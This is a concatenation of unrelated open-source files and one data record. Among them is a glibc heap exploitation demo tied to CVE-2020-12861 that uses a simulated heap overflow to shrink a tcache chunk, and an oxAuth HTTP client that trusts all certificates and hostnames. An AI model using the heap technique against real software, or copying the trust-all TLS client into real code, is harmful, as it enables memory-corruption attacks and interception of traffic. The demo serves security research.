# make sure the runner is closed
self.task.cancel_task()
del self.task
self.task = self.create_stream_task(checkpoint_id)
q_recover_info = self.task.recover(self.__is_recreate)
self.__state.set_type(StateType.RUNNING)
self.__need_rollback = False
logger.info(
"Rollback success, checkpoint is {}, qRecoverInfo is {}.".
format(checkpoint_id, q_recover_info))
return self.__gen_call_result(CallResult.success(q_recover_info))
except Exception:
logger.exception("Rollback has exception.")
return self.__gen_call_result(CallResult.fail())
def on_reader_message(self, *buffers):
"""Called by upstream queue writer to send data message to downstream
queue reader.
"""
if self.reader_client is None:
logger.info("reader_client is None, skip writer transfer")
return
self.reader_client.on_reader_message(*buffers)
def on_reader_message_sync(self, buffer: bytes):
"""Called by upstream queue writer to send
control message to downstream downstream queue reader.
"""
if self.reader_client is None:
logger.info("task is None, skip reader transfer")
return _NOT_READY_FLAG_
result = self.reader_client.on_reader_message_sync(buffer)
return result.to_pybytes()
def on_writer_message(self, buffer: bytes):
"""Called by downstream queue reader to send notify message to
upstream queue writer.
"""
if self.writer_client is None:
logger.info("writer_client is None, skip writer transfer")
return
self.writer_client.on_writer_message(buffer)
def on_writer_message_sync(self, buffer: bytes):
"""Called by downstream queue reader to send control message to
upstream queue writer.
"""
if self.writer_client is None:
return _NOT_READY_FLAG_
result = self.writer_client.on_writer_message_sync(buffer)
return result.to_pybytes()
def shutdown_without_reconstruction(self):
logger.info("Python worker shutdown without reconstruction.")
ray.actor.exit_actor()
def notify_checkpoint_timeout(self, checkpoint_id_bytes):
pass
def commit(self, barrier_bytes):
barrier_pb = remote_call_pb2.Barrier()
barrier_pb.ParseFromString(barrier_bytes)
barrier = Barrier(barrier_pb.id)
logger.info("Receive trigger, barrier is {}.".format(barrier))
if self.task is not None:
self.task.commit_trigger(barrier)
ret = remote_call_pb2.BoolResult()
ret.boolRes = True
return ret.SerializeToString()
def clear_expired_cp(self, state_checkpoint_id_bytes,
queue_checkpoint_id_bytes):
state_checkpoint_id = self.__parse_to_checkpoint_id(
state_checkpoint_id_bytes)
queue_checkpoint_id = self.__parse_to_checkpoint_id(
queue_checkpoint_id_bytes)
logger.info("Start to clear expired checkpoint, checkpoint_id={},"
"queue_checkpoint_id={}, exe_vertex_name={}.".format(
state_checkpoint_id, queue_checkpoint_id,
self.execution_vertex_context.exe_vertex_name))
ret = remote_call_pb2.BoolResult()
ret.boolRes = self.__clear_expired_cp_state(state_checkpoint_id) \
if state_checkpoint_id > 0 else True
ret.boolRes &= self.__clear_expired_queue_msg(queue_checkpoint_id)
logger.info(
"Clear expired checkpoint done, result={}, checkpoint_id={},"
"queue_checkpoint_id={}, exe_vertex_name={}.".format(
ret.boolRes, state_checkpoint_id, queue_checkpoint_id,
self.execution_vertex_context.exe_vertex_name))
return ret.SerializeToString()
def __clear_expired_cp_state(self, checkpoint_id):
if self.__need_rollback:
logger.warning("Need rollback, skip clear_expired_cp_state"
", checkpoint id: {}".format(checkpoint_id))
return False
logger.info("Clear expired checkpoint state, cp id is {}.".format(
checkpoint_id))
if self.task is not None:
self.task.clear_expired_cp_state(checkpoint_id)
return True
def __clear_expired_queue_msg(self, checkpoint_id):
if self.__need_rollback:
logger.warning("Need rollback, skip clear_expired_queue_msg"
", checkpoint id: {}".format(checkpoint_id))
return False
logger.info("Clear expired queue msg, checkpoint_id is {}.".format(
checkpoint_id))
if self.task is not None:
self.task.clear_expired_queue_msg(checkpoint_id)
return True
def __parse_to_checkpoint_id(self, checkpoint_id_bytes):
checkpoint_id_pb = remote_call_pb2.CheckpointId()
checkpoint_id_pb.ParseFromString(checkpoint_id_bytes)
return checkpoint_id_pb.checkpoint_id
def check_if_need_rollback(self):
ret = remote_call_pb2.BoolResult()
ret.boolRes = self.__need_rollback
return ret.SerializeToString()
def request_rollback(self, exception_msg="Python exception."):
logger.info("Request rollback.")
self.__need_rollback = True
self.__is_recreate = True
request_ret = False
for i in range(Config.REQUEST_ROLLBACK_RETRY_TIMES):
logger.info("request rollback {} time".format(i))
try:
request_ret = RemoteCallMst.request_job_worker_rollback(
self.master_actor,
WorkerRollbackRequest(
self.execution_vertex_context.actor_id.binary(),
"Exception msg=%s, retry time=%d." % (exception_msg,
i)))
except Exception:
logger.exception("Unexpected error when rollback")
logger.info("request rollback {} time, ret={}".format(
i, request_ret))
if not request_ret:
logger.warning(
"Request rollback return false"
", maybe it's invalid request, try to sleep 1s.")
time.sleep(1)
else:
break
if not request_ret:
logger.warning("Request failed after retry {} times,"
"now worker shutdown without reconstruction."
.format(Config.REQUEST_ROLLBACK_RETRY_TIMES))
self.shutdown_without_reconstruction()
self.__state.set_type(StateType.WAIT_ROLLBACK)
def __gen_call_result(self, call_result):
call_result_pb = remote_call_pb2.CallResult()
call_result_pb.success = call_result.success
call_result_pb.result_code = call_result.result_code.value
if call_result.result_msg is not None:
call_result_pb.result_msg = call_result.result_msg
if call_result.result_obj is not None:
q_recover_info = call_result.result_obj
for q, status in q_recover_info.get_creation_status().items():
call_result_pb.result_obj.creation_status[channel_bytes_to_str(
q)] = status.value
return call_result_pb.SerializeToString()
def _gen_unique_key(self, key_prefix):
return key_prefix \
+ str(self.config.get(Config.STREAMING_JOB_NAME)) \
+ "_" + str(self.execution_vertex.execution_vertex_id)
def __get_job_worker_context_key(self) -> str:
return self._gen_unique_key(Config.JOB_WORKER_CONTEXT_KEY)
class WorkerState:
"""
worker state
"""
def __init__(self):
self.__type = StateType.INIT
def set_type(self, type):
self.__type = type
def get_type(self):
return self.__type
class StateType(enum.Enum):
"""
state type
"""
INIT = 1
RUNNING = 2
WAIT_ROLLBACK = 3
| 7,016 |
348 | {"nom":"Puget-Ville","circ":"6ème circonscription","dpt":"Var","inscrits":3084,"abs":1757,"votants":1327,"blancs":25,"nuls":13,"exp":1289,"res":[{"nuance":"REM","nom":"Mme <NAME>","voix":485},{"nuance":"FN","nom":"<NAME>","voix":312},{"nuance":"LR","nom":"<NAME>","voix":171},{"nuance":"FI","nom":"<NAME>","voix":164},{"nuance":"DVD","nom":"Mme <NAME>","voix":30},{"nuance":"SOC","nom":"<NAME>","voix":27},{"nuance":"COM","nom":"<NAME>","voix":22},{"nuance":"ECO","nom":"<NAME>","voix":18},{"nuance":"DIV","nom":"<NAME>","voix":11},{"nuance":"EXG","nom":"<NAME>","voix":11},{"nuance":"EXD","nom":"<NAME>","voix":10},{"nuance":"EXD","nom":"<NAME>","voix":9},{"nuance":"RDG","nom":"<NAME>","voix":9},{"nuance":"REG","nom":"<NAME>","voix":7},{"nuance":"DVD","nom":"<NAME>","voix":3}]} | 312 |
427 | <filename>src/main/java/org/cloud/sonic/simple/config/mybatis/ClearForeignKey.java
package org.cloud.sonic.simple.config.mybatis;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.autoconfigure.jdbc.DataSourceSchemaCreatedEvent;
import org.springframework.context.ApplicationListener;
import org.springframework.stereotype.Component;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
/**
* 清除历史遗留的外键、版本迁移兼容sql
*
* @author JayWenStar, Eason
* @date 2021/12/26 1:39 上午
*/
@Component
@Slf4j
public class ClearForeignKey implements ApplicationListener<DataSourceSchemaCreatedEvent> {
@Override
public void onApplicationEvent(DataSourceSchemaCreatedEvent event) {
DataSource dataSource = (DataSource) event.getSource();
String dataBase = "";
//兼容v1.3.0-beta1及以下版本外键
String findFKSql = "SELECT CONCAT('ALTER TABLE ', TABLE_NAME,' DROP FOREIGN KEY ',CONSTRAINT_NAME) as ddl " +
"FROM information_schema.TABLE_CONSTRAINTS c " +
"WHERE c.TABLE_SCHEMA='%s' AND c.CONSTRAINT_TYPE='FOREIGN KEY'";
//兼容v1.3.0-beta1及以下版本className更改
String transSql1 = "UPDATE QRTZ_JOB_DETAILS set JOB_CLASS_NAME='org.cloud.sonic.simple.quartz.QuartzJob'";
//兼容v1.2.0-beta3及以下版本element value长度更改
// String transSql2 = "ALTER TABLE elements MODIFY COLUMN ele_value LONGTEXT";
List<String> deleteSqlList = new ArrayList<>();
try (Connection connection = dataSource.getConnection()) {
try (Statement statement = connection.createStatement()) {
// 获取当前数据库名
ResultSet resultSet1 = statement.executeQuery("select DATABASE() db");
if (resultSet1.next()) {
dataBase = resultSet1.getString("db");
}
// 查询所有外键索引,并拼装成删除sql
ResultSet resultSet2 = statement.executeQuery(String.format(findFKSql, dataBase));
while (resultSet2.next()) {
deleteSqlList.add(resultSet2.getString("ddl"));
}
// 版本兼容sql
Boolean resultSet3 = statement.execute(String.format(transSql1, dataBase));
if (!resultSet3) {
log.info(String.format("迁移数据sql执行失败,%s", transSql1));
}
// Boolean resultSet4 = statement.execute(String.format(transSql2, dataBase));
// if (!resultSet4) {
// log.info(String.format("迁移数据sql执行失败,%s", transSql2));
// }
// 执行删除外键sql
for (String deleteSql : deleteSqlList) {
statement.executeUpdate(deleteSql);
}
// 删除 test_suites_devices 表的主键
try {
statement.executeUpdate("Alter table test_suites_devices Drop primary key");
} catch (Exception e) {
// 无视错误
}
}
} catch (Exception e) {
log.error("删除数据库外键失败");
e.printStackTrace();
}
}
}
| 1,714 |
2,754 | <reponame>ryoon/haxm
/*
* Copyright (c) 2009 Intel Corporation
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef HAX_CORE_MMIO_H_
#define HAX_CORE_MMIO_H_
#include "vcpu.h"
// Reads the given number of bytes from guest RAM (using a GVA) into the given
// buffer. This function is supposed to be called by the MMIO handler to obtain
// the instruction being executed by the given vCPU, which has generated an EPT
// violation. Its implementation should make use of the per-vCPU MMIO fetch
// cache.
// |vcpu| The vCPU executing the MMIO instruction.
// |gva| The GVA pointing to the start of the MMIO instruction in guest RAM.
// |buf| The buffer to copy the bytes to.
// |len| The number of bytes to copy. Must not exceed the maximum length of
// any valid IA instruction.
// Returns 0 on success, or one of the following error codes:
// -ENOMEM: Memory allocation/mapping error.
int mmio_fetch_instruction(struct vcpu_t *vcpu, uint64_t gva, uint8_t *buf,
int len);
// Translates guest virtual address to guest physical address.
// |vcpu| Pointer to the vCPU
// |va| Guest virtual address
// |access| Access descriptor (read/write, user/supervisor)
// |pa| Guest physical address
// |len| Number of bytes for which translation is valid
// |update| Update access and dirty bits of guest structures
// Returns 0 if translation is successful, 0x80000000 OR'ed with the exception
// number otherwise.
uint vcpu_translate(struct vcpu_t *vcpu, hax_vaddr_t va, uint access,
hax_paddr_t *pa, uint64_t *len, bool update);
// Reads guest-linear memory.
// If flag is 0, this read is on behalf of the guest. This function updates the
// access/dirty bits in the guest page tables and injects a page fault if there
// is an error. In this case, the return value is true for success, false if a
// page fault was injected.
// If flag is 1, this function updates the access/dirty bits in the guest page
// tables but does not inject a page fault if there is an error. Instead, it
// returns the number of bytes read.
// If flag is 2, the memory read is for internal use. It does not update the
// guest page tables. It returns the number of bytes read.
uint32_t vcpu_read_guest_virtual(struct vcpu_t *vcpu, hax_vaddr_t addr,
void *dst, uint32_t dst_buflen, uint32_t size,
uint flag);
// Writes guest-linear memory.
// If flag is 0, this memory write is on behalf of the guest. This function
// updates the access/dirty bits in the guest page tables and injects a page
// fault if there is an error. In this case, the return value is true for
// success, false if a page fault was injected.
// If flag is 1, it updates the access/dirty bits in the guest page tables but
// does not inject a page fault if there is an error. Instead, it returns the
// number of bytes written.
// A flag value of 2 is implemented, but not used. It does not update the guest
// page tables. It returns the number of bytes written.
uint32_t vcpu_write_guest_virtual(struct vcpu_t *vcpu, hax_vaddr_t addr,
uint32_t dst_buflen, const void *src,
uint32_t size, uint flag);
#endif // HAX_CORE_MMIO_H_
| 1,551 |
311 | <reponame>brynedwards/ncpamixer<gh_stars>100-1000
#include "pa_card.hpp"
#include <stdio.h>
PaCard::PaCard()
{
type = pa_object_t::CARD;
monitor_stream = nullptr;
pa_set_active_attribute = pa_context_set_card_profile_by_index;
pa_set_volume = nullptr;
pa_set_mute = nullptr;
pa_move = nullptr;
active_attribute = nullptr;
pa_set_default = nullptr;
}
void PaCard::updateProfiles(pa_card_profile_info *pa_profiles, uint32_t n_profile)
{
clearAttributes();
for (uint32_t i = 0; i < n_profile; i++) {
PaObjectAttribute *p = new PaObjectAttribute;
snprintf(p->name, sizeof(p->name), "%s", pa_profiles[i].name);
snprintf(
p->description,
sizeof(p->description),
"%s",
pa_profiles[i].description
);
attributes.push_back(p);
}
}
| 397 |
753 | <filename>SecurityExploits/SANE/epsonds_CVE-2020-12861/glibc_heap_exploit_demos/home/05_shrink_tcache_chunk.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
int main() {
fprintf(
stderr,
"This demo shows how we can shrink a chunk while it's in the tcache.\n"
"\n"
"First, let's allocate 0x400 bytes twice.\n"
"(0x400 is the largest size that can go in the tcache.)\n"
"\n"
);
char *p = malloc(0x400);
char *q = malloc(0x400);
// To make the example more interesting, we make sure that the tcache
// already contains a chunk. This means that the forward pointer of q
// will be non-NULL after it is freed, which means that we have to be
// careful not to accidentally overwrite it.
free(malloc(0x400));
assert(q == p + 0x410);
fprintf(
stderr,
"p = %p\n"
"q = %p\n"
"\n",
p, q
);
const size_t* pq_metadata = (size_t*)&p[0x400];
fprintf(
stderr,
"Metadata between p and q:\n"
"%p: %.16lx %.16lx\n"
"\n",
pq_metadata, pq_metadata[0], pq_metadata[1]
);
fprintf(
stderr,
"Before we free q, we need to prepare it for the size change\n"
"by creating a fake next chunk. Note that we don't need a\n"
"vulnerability to do this because this is an in-bounds write\n"
"and we haven't freed the chunk yet.\n"
"\n"
);
memset(q, 0, 0x400);
*(size_t*)&q[0x48] = 0x21; // Fake next chunk
*(size_t*)&q[0x60] = 0x20; // Fake next chunk
*(size_t*)&q[0x68] = 0x21; // Fake next chunk
fprintf(stderr, "Let's free q.\n\n");
free(q);
fprintf(
stderr,
"Now we use a heap buffer overflow on p to modify the\n"
"metadata between p and q.\n"
"\n"
);
// ----- VULNERABILITY ----
const size_t overflow_len = 0x410;
// First trash the memory completely, to simulate the effect of
// a heap buffer overflow.
memset(p, 0, overflow_len);
*(size_t*)&p[0x408] = 0x51; // Shrink q
// ------------------------
fprintf(
stderr,
"The chunk looks like this now:\n"
"%p: %.16lx %.16lx\n"
"%p: %.16lx %.16lx\n"
"%p: %.16lx %.16lx\n"
"%p: %.16lx %.16lx\n"
"%p: %.16lx %.16lx\n"
"%p: %.16lx %.16lx\n"
"%p: %.16lx %.16lx\n"
"%p: %.16lx %.16lx\n"
"\n",
pq_metadata, pq_metadata[0], pq_metadata[1],
pq_metadata+2, pq_metadata[2], pq_metadata[3],
pq_metadata+4, pq_metadata[4], pq_metadata[5],
pq_metadata+6, pq_metadata[6], pq_metadata[7],
pq_metadata+8, pq_metadata[8], pq_metadata[9],
pq_metadata+10, pq_metadata[10], pq_metadata[11],
pq_metadata+12, pq_metadata[12], pq_metadata[13],
pq_metadata+14, pq_metadata[14], pq_metadata[15]
);
char* r = malloc(0x400);
assert(r == q);
fprintf(
stderr,
"Now we can allocate 0x400 bytes and get back the same pointer as q:\n"
"r = %p\n"
"\n",
r
);
fprintf(
stderr,
"But when we free it, it looks like a 0x40 byte allocation and\n"
"is returned to a different tcache.\n"
"\n"
);
free(r);
char* s = malloc(0x40);
assert(s == q);
fprintf(
stderr,
"Now we can allocate 0x40 bytes and get the same pointer again.\n"
"s = %p\n",
s
);
return 0;
}
| 1,471 |
14,668 | <reponame>chromium/chromium
{
"far_files" : [
"gen/fuchsia/engine/web_engine/web_engine.far",
"gen/fuchsia/runners/cast_runner/cast_runner.far"
],
"far_total_name" : "chrome_fuchsia",
"size_limits" : {
"chrome_fuchsia_compressed": 41099264
}
}
| 119 |
10,225 | package org.jboss.resteasy.reactive.server.spi;
public interface StreamingResponse<T extends StreamingResponse<T>> {
T setStatusCode(int code);
T setResponseHeader(CharSequence name, CharSequence value);
T setResponseHeader(CharSequence name, Iterable<CharSequence> values);
}
| 89 |
3,579 | /*
* Copyright 2015, The Querydsl Team (http://www.querydsl.com/team)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.querydsl.core.group;
import java.util.NoSuchElementException;
import java.util.Objects;
import com.mysema.commons.lang.CloseableIterator;
import com.querydsl.core.FetchableQuery;
import com.querydsl.core.Tuple;
import com.querydsl.core.types.Expression;
import com.querydsl.core.types.FactoryExpression;
import com.querydsl.core.types.FactoryExpressionUtils;
import com.querydsl.core.types.Projections;
/**
* Provides aggregated results as an iterator
*
* @author tiwe
*
* @param <K>
* @param <V>
*/
public class GroupByIterate<K, V> extends AbstractGroupByTransformer<K, CloseableIterator<V>> {
GroupByIterate(Expression<K> key, Expression<?>... expressions) {
super(key, expressions);
}
@Override
public CloseableIterator<V> transform(FetchableQuery<?,?> query) {
// create groups
FactoryExpression<Tuple> expr = FactoryExpressionUtils.wrap(Projections.tuple(expressions));
boolean hasGroups = false;
for (Expression<?> e : expr.getArgs()) {
hasGroups |= e instanceof GroupExpression;
}
if (hasGroups) {
expr = withoutGroupExpressions(expr);
}
final CloseableIterator<Tuple> iter = query.select(expr).iterate();
return new CloseableIterator<V>() {
private GroupImpl group;
private K groupId;
@Override
public boolean hasNext() {
return group != null || iter.hasNext();
}
@Override
public V next() {
if (!iter.hasNext()) {
if (group != null) {
Group current = group;
group = null;
return transform(current);
} else {
throw new NoSuchElementException();
}
}
while (iter.hasNext()) {
@SuppressWarnings("unchecked") //This type is mandated by the key type
K[] row = (K[]) iter.next().toArray();
if (group == null) {
group = new GroupImpl(groupExpressions, maps);
groupId = row[0];
group.add(row);
} else if (Objects.equals(groupId, row[0])) {
group.add(row);
} else {
Group current = group;
group = new GroupImpl(groupExpressions, maps);
groupId = row[0];
group.add(row);
return transform(current);
}
}
Group current = group;
group = null;
return transform(current);
}
@Override
public void remove() {
throw new UnsupportedOperationException();
}
@Override
public void close() {
iter.close();
}
};
}
@SuppressWarnings("unchecked")
protected V transform(Group group) {
return (V) group;
}
}
| 1,786 |
365 | /*
* Adapted from Open Shading Language with this license:
*
* Copyright (c) 2009-2010 Sony Pictures Imageworks Inc., et al.
* All Rights Reserved.
*
* Modifications Copyright 2012, Blender Foundation.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Sony Pictures Imageworks nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __BSDF_PHONG_RAMP_H__
#define __BSDF_PHONG_RAMP_H__
CCL_NAMESPACE_BEGIN
#ifdef __OSL__
typedef ccl_addr_space struct PhongRampBsdf {
SHADER_CLOSURE_BASE;
float exponent;
float3 *colors;
} PhongRampBsdf;
static_assert(sizeof(ShaderClosure) >= sizeof(PhongRampBsdf), "PhongRampBsdf is too large!");
ccl_device float3 bsdf_phong_ramp_get_color(const float3 colors[8], float pos)
{
int MAXCOLORS = 8;
float npos = pos * (float)(MAXCOLORS - 1);
int ipos = float_to_int(npos);
if (ipos < 0)
return colors[0];
if (ipos >= (MAXCOLORS - 1))
return colors[MAXCOLORS - 1];
float offset = npos - (float)ipos;
return colors[ipos] * (1.0f - offset) + colors[ipos + 1] * offset;
}
ccl_device int bsdf_phong_ramp_setup(PhongRampBsdf *bsdf)
{
bsdf->type = CLOSURE_BSDF_PHONG_RAMP_ID;
bsdf->exponent = max(bsdf->exponent, 0.0f);
return SD_BSDF | SD_BSDF_HAS_EVAL;
}
ccl_device float3 bsdf_phong_ramp_eval_reflect(const ShaderClosure *sc,
const float3 I,
const float3 omega_in,
float *pdf)
{
const PhongRampBsdf *bsdf = (const PhongRampBsdf *)sc;
float m_exponent = bsdf->exponent;
float cosNI = dot(bsdf->N, omega_in);
float cosNO = dot(bsdf->N, I);
if (cosNI > 0 && cosNO > 0) {
// reflect the view vector
float3 R = (2 * cosNO) * bsdf->N - I;
float cosRI = dot(R, omega_in);
if (cosRI > 0) {
float cosp = powf(cosRI, m_exponent);
float common = 0.5f * M_1_PI_F * cosp;
float out = cosNI * (m_exponent + 2) * common;
*pdf = (m_exponent + 1) * common;
return bsdf_phong_ramp_get_color(bsdf->colors, cosp) * out;
}
}
return make_float3(0.0f, 0.0f, 0.0f);
}
ccl_device float3 bsdf_phong_ramp_eval_transmit(const ShaderClosure *sc,
const float3 I,
const float3 omega_in,
float *pdf)
{
return make_float3(0.0f, 0.0f, 0.0f);
}
ccl_device int bsdf_phong_ramp_sample(const ShaderClosure *sc,
float3 Ng,
float3 I,
float3 dIdx,
float3 dIdy,
float randu,
float randv,
float3 *eval,
float3 *omega_in,
float3 *domega_in_dx,
float3 *domega_in_dy,
float *pdf)
{
const PhongRampBsdf *bsdf = (const PhongRampBsdf *)sc;
float cosNO = dot(bsdf->N, I);
float m_exponent = bsdf->exponent;
if (cosNO > 0) {
// reflect the view vector
float3 R = (2 * cosNO) * bsdf->N - I;
# ifdef __RAY_DIFFERENTIALS__
*domega_in_dx = (2 * dot(bsdf->N, dIdx)) * bsdf->N - dIdx;
*domega_in_dy = (2 * dot(bsdf->N, dIdy)) * bsdf->N - dIdy;
# endif
float3 T, B;
make_orthonormals(R, &T, &B);
float phi = M_2PI_F * randu;
float cosTheta = powf(randv, 1 / (m_exponent + 1));
float sinTheta2 = 1 - cosTheta * cosTheta;
float sinTheta = sinTheta2 > 0 ? sqrtf(sinTheta2) : 0;
*omega_in = (cosf(phi) * sinTheta) * T + (sinf(phi) * sinTheta) * B + (cosTheta)*R;
if (dot(Ng, *omega_in) > 0.0f) {
// common terms for pdf and eval
float cosNI = dot(bsdf->N, *omega_in);
// make sure the direction we chose is still in the right hemisphere
if (cosNI > 0) {
float cosp = powf(cosTheta, m_exponent);
float common = 0.5f * M_1_PI_F * cosp;
*pdf = (m_exponent + 1) * common;
float out = cosNI * (m_exponent + 2) * common;
*eval = bsdf_phong_ramp_get_color(bsdf->colors, cosp) * out;
}
}
}
return LABEL_REFLECT | LABEL_GLOSSY;
}
#endif /* __OSL__ */
CCL_NAMESPACE_END
#endif /* __BSDF_PHONG_RAMP_H__ */
| 2,742 |
5,169 | <filename>Specs/YMDropDownMenuNavBar/0.1.0/YMDropDownMenuNavBar.podspec.json
{
"name": "YMDropDownMenuNavBar",
"version": "0.1.0",
"summary": "YMDropDownMenuNavBar is a blocks based nav bar menu, that enables assigning action balock for each menu item.",
"description": "YMDropDownMenuNavBar is a blocks based nav bar menu, that enables assigning action balock for each menu item. The initialization is straight forward, just add pairs of menu item titles with their corresponding blocks.",
"homepage": "https://github.com/pninael/YMDropDownMenuNavBar.git",
"license": "MIT",
"authors": {
"<NAME>": "<EMAIL>"
},
"source": {
"git": "https://github.com/pninael/YMDropDownMenuNavBar.git",
"tag": "0.1.0"
},
"platforms": {
"ios": "7.0"
},
"requires_arc": true,
"source_files": "Pod/Classes/*",
"resource_bundles": {
"YMDropDownMenuNavBar": [
"Pod/Assets/*.png"
]
}
}
| 344 |
568 | <reponame>jgtaylor123/novoda_spikes<gh_stars>100-1000
package com.gertherb.base;
public class Utils {
private Utils() {
}
public static Class<?> classOf(Object object) {
return object.getClass();
}
}
| 92 |
471 | import random
from collections import deque
from .base import Replay
class FIFOReplay(Replay):
"""
WARNING: you must set session_config.replay:
- max_puller_queue: to a very small number, like 1
- max_prefetch_queue: to 1
session_config.sender:
- flush_iteration: to a small number
"""
def __init__(self,
learner_config,
env_config,
session_config,
index=0):
super().__init__(
learner_config=learner_config,
env_config=env_config,
session_config=session_config,
index=index,
)
self.batch_size = self.learner_config.replay.batch_size
self.memory_size = self.learner_config.replay.memory_size
self._memory = deque(maxlen=self.memory_size+3) # + 3 for a gentle buffering
assert self.session_config.replay.max_puller_queue <= 10
assert self.session_config.replay.max_prefetch_queue == 1
assert not self.session_config.sender.flush_time
assert self.session_config.sender.flush_iteration <= 10
def insert(self, exp_tuple):
self._memory.append(exp_tuple)
def sample(self, batch_size):
assert batch_size <= self.memory_size
return [self._memory.popleft() for _ in range(batch_size)]
def evict(self):
raise NotImplementedError('no support for eviction in FIFO mode')
def start_sample_condition(self):
return len(self._memory) >= self.batch_size
def __len__(self):
return len(self._memory)
| 685 |
380 | <reponame>trochaeli/oxAuth
/*
* oxAuth is available under the MIT License (2008). See http://opensource.org/licenses/MIT for full text.
*
* Copyright (c) 2014, Gluu
*/
package org.gluu.oxauth.service.net;
import java.io.IOException;
import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.nio.charset.Charset;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Map;
import java.util.Map.Entry;
import javax.annotation.PostConstruct;
import javax.enterprise.context.ApplicationScoped;
import javax.inject.Inject;
import javax.inject.Named;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.codec.binary.Base64;
import org.apache.http.Header;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.conn.ClientConnectionManager;
import org.apache.http.conn.scheme.PlainSocketFactory;
import org.apache.http.conn.scheme.Scheme;
import org.apache.http.conn.scheme.SchemeRegistry;
import org.apache.http.conn.ssl.AllowAllHostnameVerifier;
import org.apache.http.conn.ssl.SSLSocketFactory;
import org.apache.http.conn.ssl.TrustStrategy;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.conn.PoolingClientConnectionManager;
import org.apache.http.util.EntityUtils;
import org.gluu.net.SslDefaultHttpClient;
import org.gluu.oxauth.model.net.HttpServiceResponse;
import org.gluu.util.StringHelper;
import org.gluu.util.Util;
import org.slf4j.Logger;
/**
* Provides operations with http requests
*
* @author <NAME> Date: 02/05/2013
*/
@ApplicationScoped
@Named
public class HttpService implements Serializable {
private static final long serialVersionUID = -2398422090669045605L;
@Inject
private Logger log;
private Base64 base64;
@PostConstruct
public void init() {
this.base64 = new Base64();
}
public HttpClient getHttpsClientTrustAll() {
try {
SSLSocketFactory sf = new SSLSocketFactory(new TrustStrategy(){
@Override
public boolean isTrusted(X509Certificate[] chain, String authType) throws CertificateException {
return true;
}
}, new AllowAllHostnameVerifier());
PlainSocketFactory psf = PlainSocketFactory.getSocketFactory();
SchemeRegistry registry = new SchemeRegistry();
registry.register(new Scheme("http", 80, psf));
registry.register(new Scheme("https", 443, sf));
ClientConnectionManager ccm = new PoolingClientConnectionManager(registry);
return new DefaultHttpClient(ccm);
} catch (Exception ex) {
log.error("Failed to create TrustAll https client", ex);
return new DefaultHttpClient();
}
}
public HttpClient getHttpsClient() {
HttpClient httpClient = new SslDefaultHttpClient();
return httpClient;
}
